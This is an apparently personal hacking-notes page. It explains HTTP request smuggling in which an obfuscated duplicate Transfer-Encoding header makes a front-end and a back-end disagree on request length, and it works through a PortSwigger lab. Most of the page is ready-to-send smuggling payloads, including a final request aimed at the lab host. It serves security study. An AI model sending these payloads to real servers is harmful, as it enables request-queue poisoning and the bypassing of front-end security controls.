> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/web-pentesting/_vulnerabilities/http-request-smuggling/te.te.md).

# TE.TE

**REQUIREMENTS:**

* Front-end and back-end both support `Transfer-Encoding`
* One rejects obfuscated TE headers and falls back to `Content-Length`.

**REFERENCE:**

* <https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header>

**DESCRIPTION:**

By sending a duplicate `Transfer-Encoding` header where one is obfuscated (`x`), the back-end rejects chunked encoding and falls back to `Content-Length`. The front-end still processes chunked. This mismatch is a **TE.TE** > **TE.CL** smuggling.

```http
TE.TE ---> TE.CL (via obfuscation)
 
Front-end							              Back-end
|									                |
|	Transfer-Encoding: chunked	[Y]	|	Transfer-Encoding: chunked	[Y]
|	Transfer-Encoding: x	      [X]	|	Transfer-Encoding: x	[X]
|									                |
|	Uses: Transfer-Encoding			    |	Falls back to: Content-Length
```

1. **Proof of concept**

```http
POST / HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
Transfer-Encoding: x
\r\n
1\r\n
G\r\n
0\r\n
\r\n
```

```
Front-end (chunked)					Back-end (Content-Length: 3)
|									|
|	chunk "1" -> reads "G"				|	reads 3 bytes: "1\r\n"
|	chunk "0" -> end					|	leftover in buffer: "G\r\n0\r\n\r\n"
|									|
|									|	next request starts with "G"
|									|	--> "Unrecognized method G0POST"
```

2. **Build the smuggled request**

```http
A.	Calculate smuggled body Content-Length
|
|	body = 10 bytes + 1 byte = 11 bytes for the Content-Length (captures start of next request)
 
\r\n
x=1\r\n
0\r\n
\r\n
 
B.	Calculate chunk size (hex)
|
|	select everything from GPOST up to and including x=1 which equals 92 bytes --> 0x5c
 
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 11\r\n
\r\n
x=1
 
C.	Set outer Content-Length (first POST request) above the GPOST
|
<...>
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: x
 
5c
GPOST
<...>
```

3. **Final payload**

```http
POST / HTTP/1.1
Host: 0ab9001b0350b9c680a6f312009b00e5.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: x
\r\n
5c\r\n
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
\r\n
x=1\r\n
0\r\n
\r\n
```
